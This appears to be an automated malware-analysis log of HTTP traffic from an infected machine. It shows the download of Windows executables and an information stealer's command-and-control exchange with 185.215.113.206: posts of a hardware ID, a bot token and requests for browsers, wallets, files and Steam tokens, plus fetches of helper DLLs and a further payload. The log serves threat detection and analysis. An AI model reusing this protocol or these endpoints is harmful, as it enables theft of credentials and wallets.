Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:29:18 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:29:21 GMTContent-Type: application/octet-streamContent-Length: 2771456Last-Modified: Mon, 09 Dec 2024 19:01:00 GMTConnection: keep-aliveETag: "67573e6c-2a4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 13 29 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 6c 72 6f 69 71 77 71 00 00 2a 00 00 a0 00 00 00 ea 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 77 65 6c 78 66 72 6b 00 20 00 00 00 a0 2a 00 00 04 00 00 00 24 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 41 43 33 34 33 33 34 31 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="hwid"49AC343341E01671227304------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="build"stok------EBFBFBFIIJDAKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"browsers------KECFCGHIDHCAKEBFCFHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"plugins------AEBGIEGCFHCFHIDHIJEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="message"fplugins------HCBFIJJECFIEBGDGCFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJEHost: 185.215.113.206Content-Length: 8359Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file"------ECAFHDBGHJKFIDHJJJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="file"------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"wallets------EGHJKFHJJJKJJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"files------CAEHJEBKFCAKKFIEHDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="file"------BKEHDGDGHCBGCAKFIIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"ybncbhylepme------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
